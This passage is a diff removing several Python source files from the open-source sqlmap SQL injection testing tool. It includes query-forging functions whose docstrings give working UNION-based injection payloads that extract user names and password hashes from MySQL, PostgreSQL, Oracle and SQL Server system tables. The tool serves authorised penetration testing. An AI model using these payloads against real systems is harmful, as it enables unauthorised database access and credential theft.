PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
@param query: query string to be processed
@type query: C{str}
@return: query string nulled, casted and concatenated
@rtype: C{str}
"""
concatQuery = ""
query = query.replace(", ", ",")
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, _, fieldsToCastStr = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
if kb.dbms == "MySQL":
if fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatQuery += ",'%s')" % temp.stop
elif fieldsNoSelect:
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
if fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery += "||'%s'" % temp.stop
elif fieldsNoSelect:
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
if kb.dbms == "Oracle" and " FROM " not in concatQuery and ( fieldsSelect or fieldsNoSelect ):
concatQuery += " FROM DUAL"
elif kb.dbms == "Microsoft SQL Server":
if fieldsSelectTop:
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatQuery, re.I).group(1)
concatQuery = concatQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatQuery += "+'%s'" % temp.stop
elif fieldsNoSelect:
concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop)
return concatQuery
def forgeInbandQuery(self, query, exprPosition=None):
"""
Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.
Examples:
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
@param query: it is a processed query string unescaped to be
forged within an UNION ALL SELECT statement
@type query: C{str}
@param exprPosition: it is the NULL position where it is possible
to inject the query
@type exprPosition: C{int}
@return: UNION ALL SELECT query string forged
@rtype: C{str}
"""
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
if query.startswith("TOP"):
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
query = query[len("TOP %s " % topNum):]
inbandQuery += "TOP %s " % topNum
if not exprPosition:
exprPosition = kb.unionPosition
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
for element in range(kb.unionCount):
if element > 0:
inbandQuery += ", "
if element == exprPosition:
if " FROM " in query and not query.startswith("SELECT "):
conditionIndex = query.index(" FROM ")
inbandQuery += query[:conditionIndex]
else:
inbandQuery += query
else:
inbandQuery += "NULL"
if " FROM " in query and not query.startswith("SELECT "):
conditionIndex = query.index(" FROM ")
inbandQuery += query[conditionIndex:]
if kb.dbms == "Oracle":
if " FROM " not in inbandQuery:
inbandQuery += " FROM DUAL"
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
return inbandQuery
def limitQuery(self, num, query, field):
"""
Take in input a query string and return its limited query string.
Example:
Input: SELECT user FROM mysql.users
Output: SELECT user FROM mysql.users LIMIT <num>, 1
@param num: limit number
@type num: C{int}
@param query: query to be processed
@type query: C{str}
@param field: field within the query
@type field: C{list}
@return: limited query string
@rtype: C{str}
"""
limitedQuery = query
limitStr = queries[kb.dbms].limit
fromIndex = limitedQuery.index(" FROM ")
untilFrom = limitedQuery[:fromIndex]
fromFrom = limitedQuery[fromIndex+1:]
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedQuery += " %s" % limitStr
elif kb.dbms == "Oracle":
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
if query.startswith("SELECT "):
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
else:
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
forgeNotIn = True
if " ORDER BY " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
if topNums:
topNums = topNums.groups()
quantityTopNums = topNums[0]
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
startTopNums = topNums[1]
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
forgeNotIn = False
else:
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
if forgeNotIn == True:
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
if " WHERE " in limitedQuery:
limitedQuery = "%s AND %s " % (limitedQuery, field)
else:
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (field, fromFrom)
return limitedQuery
def forgeCaseStatement(self, expression):
"""
Take in input a query string and return its CASE statement query
string.
Example:
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
@param expression: expression to be processed
@type num: C{str}
@return: processed expression
@rtype: C{str}
"""
return queries[kb.dbms].case % expression
# SQL agent
agent = Agent()
-679
View File
@@ -1,679 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import random
import re
import string
import sys
import time
import urlparse
from lib.core.convert import urldecode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import temp
from lib.core.exception import sqlmapFilePathException
from lib.core.data import paths
from lib.core.settings import SQL_STATEMENTS
from lib.core.settings import VERSION_STRING
def paramToDict(place, parameters=None):
"""
Split the parameters into names and values, check if these parameters
are within the testable parameters and return in a dictionary.
@param place: where sqlmap has to work, can be GET, POST or Cookie.
@type place: C{str}
@param parameters: parameters string in the format for instance
'p1=v1&p2=v2' (GET and POST) or 'p1=v1;p2=v2' (Cookie).
@type parameters: C{str}
@return: the parameters in a dictionary.
@rtype: C{str}
"""
testableParameters = {}
if conf.parameters.has_key(place) and not parameters:
parameters = conf.parameters[place]
parameters = parameters.replace(", ", ",")
if place == "Cookie":
splitParams = parameters.split(";")
else:
splitParams = parameters.split("&")
for element in splitParams:
elem = element.split("=")
if len(elem) == 2:
parameter = elem[0].replace(" ", "")
condition = not conf.testParameter
condition |= parameter in conf.testParameter
if condition:
value = elem[1]
if value:
testableParameters[parameter] = value
if conf.testParameter and not testableParameters:
paramStr = ", ".join(test for test in conf.testParameter)
if len(conf.testParameter) > 1:
warnMsg = "the testable parameters '%s' " % paramStr
warnMsg += "you provided are not into the %s" % place
else:
parameter = conf.testParameter[0]
warnMsg = "the testable parameter '%s' " % paramStr
warnMsg += "you provided is not into the %s" % place
if conf.multipleTargets:
warnMsg += ", skipping to next url"
logger.warn(warnMsg)
elif len(conf.testParameter) != len(testableParameters.keys()):
for parameter in conf.testParameter:
if not testableParameters.has_key(parameter):
warnMsg = "the testable parameter '%s' " % parameter
warnMsg += "you provided is not into the %s" % place
logger.warn(warnMsg)
return testableParameters
def formatDBMSfp(versions=None):
"""
This function format the back-end DBMS fingerprint value and return its
values formatted as a human readable string.
@return: detected back-end DBMS based upon fingerprint techniques.
@rtype: C{str}
"""
if not versions:
versions = kb.dbmsVersion
if isinstance(versions, str):
return "%s %s" % (kb.dbms, versions)
elif isinstance(versions, (list, set, tuple)):
return "%s %s" % (kb.dbms, " and ".join([version for version in versions]))
elif not versions:
warnMsg = "unable to extensively fingerprint the back-end "
warnMsg += "DBMS version"
logger.warn(warnMsg)
return kb.dbms
def __formatFingerprintString(values, chain=" or "):
string = "|".join([v for v in values])
return string.replace("|", chain)
def formatFingerprint(target, info):
"""
This function format the back-end operating system fingerprint value
and return its values formatted as a human readable string.
Example of info (kb.headersFp) dictionary:
{
'distrib': set(['Ubuntu']),
'type': set(['Linux']),
'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
'release': set(['8.10'])
}
Example of info (kb.bannerFp) dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
@return: detected back-end operating system based upon fingerprint
techniques.
@rtype: C{str}
"""
infoStr = ""
if info and "type" in info:
infoStr += "%s operating system: %s" % (target, __formatFingerprintString(info["type"]))
if "distrib" in info:
infoStr += " %s" % __formatFingerprintString(info["distrib"])
if "release" in info:
infoStr += " %s" % __formatFingerprintString(info["release"])
if "sp" in info:
infoStr += " %s" % __formatFingerprintString(info["sp"])
if "codename" in info:
infoStr += " (%s)" % __formatFingerprintString(info["codename"])
if "technology" in info:
infoStr += "\nweb application technology: %s" % __formatFingerprintString(info["technology"], ", ")
return infoStr
def getHtmlErrorFp():
"""
This function parses the knowledge base htmlFp list and return its
values formatted as a human readable string.
@return: list of possible back-end DBMS based upon error messages
parsing.
@rtype: C{str}
"""
htmlParsed = ""
if not kb.htmlFp:
return None
if len(kb.htmlFp) == 1:
htmlVer = kb.htmlFp[0]
htmlParsed = htmlVer
elif len(kb.htmlFp) > 1:
htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp])
return htmlParsed
def getDocRoot():
"""
This method returns the web application document root based on the
detected absolute files paths in the knowledge base.
"""
docRoot = None
if kb.absFilePaths:
logMsg = "retrieved the possible injectable "
logMsg += "file absolute system paths: "
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
logger.info(logMsg)
else:
warnMsg = "unable to retrieve the injectable file "
warnMsg += "absolute system path"
logger.warn(warnMsg)
for absFilePath in kb.absFilePaths:
if conf.path in absFilePath:
index = absFilePath.index(conf.path)
docRoot = absFilePath[:index]
break
if docRoot:
logMsg = "retrieved the remote web server "
logMsg += "document root: '%s'" % docRoot
logger.info(logMsg)
else:
warnMsg = "unable to retrieve the remote web server "
warnMsg += "document root"
logger.warn(warnMsg)
return docRoot
def getDirectories():
"""
This method calls a function that returns the web application document
root and injectable file absolute system path.
@return: a set of paths (document root and absolute system path).
@rtype: C{set}
@todo: replace this function with a site crawling functionality.
"""
directories = set()
kb.docRoot = getDocRoot()
if kb.docRoot:
directories.add(kb.docRoot)
pagePath = re.search("^/(.*)/", conf.path)
if kb.docRoot and pagePath:
pagePath = pagePath.groups()[0]
directories.add("%s/%s" % (kb.docRoot, pagePath))
return directories
def filePathToString(filePath):
string = filePath.replace("/", "_").replace("\\", "_")
string = string.replace(" ", "_").replace(":", "_")
return string
def dataToStdout(data):
sys.stdout.write(data)
sys.stdout.flush()
def dataToSessionFile(data):
if not conf.sessionFile:
return
conf.sessionFP.write(data)
conf.sessionFP.flush()
def dataToDumpFile(dumpFile, data):
dumpFile.write(data)
dumpFile.flush()
def strToHex(string):
"""
@param string: string to be converted into its hexadecimal value.
@type string: C{str}
@return: the hexadecimal converted string.
@rtype: C{str}
"""
hexStr = ""
for character in string:
if character == "\n":
character = " "
hexChar = "%2x" % ord(character)
hexChar = hexChar.replace(" ", "0")
hexChar = hexChar.upper()
hexStr += hexChar
return hexStr
def fileToStr(fileName):
"""
@param fileName: file path to read the content and return as a no
NEWLINE string.
@type fileName: C{file.open}
@return: the file content as a string without TAB and NEWLINE.
@rtype: C{str}
"""
filePointer = open(fileName, "r")
fileText = filePointer.read()
fileText = fileText.replace(" ", "")
fileText = fileText.replace("\t", "")
fileText = fileText.replace("\r", "")
fileText = fileText.replace("\n", " ")
return fileText
def fileToHex(fileName):
"""
@param fileName: file path to read the content and return as an
hexadecimal string.
@type fileName: C{file.open}
@return: the file content as an hexadecimal string.
@rtype: C{str}
"""
fileText = fileToStr(fileName)
hexFile = strToHex(fileText)
return hexFile
def readInput(message, default=None):
"""
@param message: message to display on terminal.
@type message: C{str}
@return: a string read from keyboard as input.
@rtype: C{str}
"""
if conf.batch and default:
infoMsg = "%s%s" % (message, str(default))
logger.info(infoMsg)
debugMsg = "used the default behaviour, running in batch mode"
logger.debug(debugMsg)
data = default
else:
data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message))
return data
def randomRange(start=0, stop=1000):
"""
@param start: starting number.
@type start: C{int}
@param stop: last number.
@type stop: C{int}
@return: a random number within the range.
@rtype: C{int}
"""
return int(random.randint(start, stop))
def randomInt(length=4):
"""
@param length: length of the random string.
@type length: C{int}
@return: a random string of digits.
@rtype: C{str}
"""
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
def randomStr(length=5):
"""
@param length: length of the random string.
@type length: C{int}
@return: a random string of characters.
@rtype: C{str}
"""
return "".join([random.choice(string.letters) for _ in xrange(0, length)])
def sanitizeStr(string):
"""
@param string: string to sanitize: cast to str datatype and replace
newlines with one space and strip carriage returns.
@type string: C{str}
@return: sanitized string
@rtype: C{str}
"""
cleanString = str(string)
cleanString = cleanString.replace("\n", " ").replace("\r", "")
return cleanString
def checkFile(filename):
"""
@param filename: filename to check if it exists.
@type filename: C{str}
"""
if not os.path.exists(filename):
raise sqlmapFilePathException, "unable to read file '%s'" % filename
def replaceNewlineTabs(string):
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
return replacedString
def banner():
"""
This function prints sqlmap banner with its version
"""
print """
%s coded by Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
""" % VERSION_STRING
def parsePasswordHash(password):
blank = " " * 8
if not password or password == " ":
password = "NULL"
if kb.dbms == "Microsoft SQL Server" and password != "NULL":
hexPassword = password
password = "%s\n" % hexPassword
password += "%sheader: %s\n" % (blank, hexPassword[:6])
password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
if kb.dbmsVersion[0] not in ( "2005", "2008" ):
password += "%suppercase: %s" % (blank, hexPassword[54:])
return password
def cleanQuery(query):
upperQuery = query
for sqlStatements in SQL_STATEMENTS.values():
for sqlStatement in sqlStatements:
sqlStatementEsc = sqlStatement.replace("(", "\\(")
queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I)
if queryMatch:
upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
return upperQuery
def setPaths():
# sqlmap paths
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
# sqlmap files
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH
def weAreFrozen():
"""
Returns whether we are frozen via py2exe.
This will affect how we find out where we are located.
Reference: http://www.py2exe.org/index.cgi/WhereAmI
"""
return hasattr(sys, "frozen")
def parseTargetUrl():
"""
Parse target url and set some attributes into the configuration
singleton.
"""
if not conf.url:
return
if not re.search("^http[s]*://", conf.url):
if ":443/" in conf.url:
conf.url = "https://" + conf.url
else:
conf.url = "http://" + conf.url
__urlSplit = urlparse.urlsplit(conf.url)
__hostnamePort = __urlSplit[1].split(":")
conf.scheme = __urlSplit[0]
conf.path = __urlSplit[2]
conf.hostname = __hostnamePort[0]
if len(__hostnamePort) == 2:
conf.port = int(__hostnamePort[1])
elif conf.scheme == "https":
conf.port = 443
else:
conf.port = 80
if __urlSplit[3]:
conf.parameters["GET"] = urldecode(__urlSplit[3]).replace("%", "%%")
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
def expandAsteriskForColumns(expression):
# If the user provided an asterisk rather than the column(s)
# name, sqlmap will retrieve the columns itself and reprocess
# the SQL query string (expression)
asterisk = re.search("^SELECT\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I)
if asterisk:
infoMsg = "you did not provide the fields in your query. "
infoMsg += "sqlmap will retrieve the column names itself"
logger.info(infoMsg)
dbTbl = asterisk.group(1)
if dbTbl and "." in dbTbl:
conf.db, conf.tbl = dbTbl.split(".")
else:
conf.tbl = dbTbl
columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
columns = columnsDict[conf.db][conf.tbl].keys()
columns.sort()
columnsStr = ", ".join([column for column in columns])
expression = expression.replace("*", columnsStr, 1)
infoMsg = "the query with column names is: "
infoMsg += "%s" % expression
logger.info(infoMsg)
return expression
def getRange(count, dump=False, plusOne=False):
count = int(count)
indexRange = None
limitStart = 1
limitStop = count
if dump:
if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop:
limitStop = conf.limitStop
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
limitStart = conf.limitStart
if kb.dbms == "Oracle" or plusOne == True:
indexRange = range(limitStart, limitStop + 1)
else:
indexRange = range(limitStart - 1, limitStop)
return indexRange
def parseUnionPage(output, expression, partial=False, condition=None):
data = []
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if condition == None:
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if partial or not condition:
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
return data
-90
View File
@@ -1,90 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
try:
import md5
import sha
except DeprecationWarning, _:
from hashlib import md5
from hashlib import sha
import struct
import urllib
def base64decode(string):
return string.decode("base64")
def base64encode(string):
return string.encode("base64")[:-1]
def hexdecode(string):
string = string.lower()
if string.startswith("0x"):
string = string[2:]
return string.decode("hex")
def hexencode(string):
return string.encode("hex")
def md5hash(string):
return md5.new(string).hexdigest()
def orddecode(string):
packedString = struct.pack("!"+"I" * len(string), *string)
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
def ordencode(string):
return tuple([ord(char) for char in string])
def sha1hash(string):
return sha.new(string).hexdigest()
def urldecode(string):
if not string:
return
doublePercFreeString = string.replace("%%", "__DPERC__")
unquotedString = urllib.unquote_plus(doublePercFreeString)
unquotedString = unquotedString.replace("__DPERC__", "%%")
return unquotedString
def urlencode(string, safe=":/?%&="):
if not string:
return
return urllib.quote(string, safe)
-48
View File
@@ -1,48 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.datatype import advancedDict
from lib.core.settings import LOGGER
# sqlmap paths
paths = advancedDict()
# object to share within function and classes command
# line options and settings
conf = advancedDict()
# object to share within function and classes results
kb = advancedDict()
# object to share within function and classes temporary data,
# just for internal use
temp = advancedDict()
# object with each database management system specific queries
queries = {}
# logger
logger = LOGGER
-77
View File
@@ -1,77 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.exception import sqlmapDataException
class advancedDict(dict):
"""
This class defines the sqlmap object, inheriting from Python data
type dictionary.
"""
def __init__(self, indict=None, attribute=None):
if indict is None:
indict = {}
# Set any attributes here - before initialisation
# these remain as normal attributes
self.attribute = attribute
dict.__init__(self, indict)
self.__initialised = True
# After initialisation, setting attributes
# is the same as setting an item
def __getattr__(self, item):
"""
Maps values to attributes
Only called if there *is NOT* an attribute with this name
"""
try:
return self.__getitem__(item)
except KeyError:
raise sqlmapDataException, "Unable to access item '%s'" % item
def __setattr__(self, item, value):
"""
Maps attributes to values
Only if we are initialised
"""
# This test allows attributes to be set in the __init__ method
if not self.__dict__.has_key('_advancedDict__initialised'):
return dict.__setattr__(self, item, value)
# Any normal attributes are handled normally
elif self.__dict__.has_key(item):
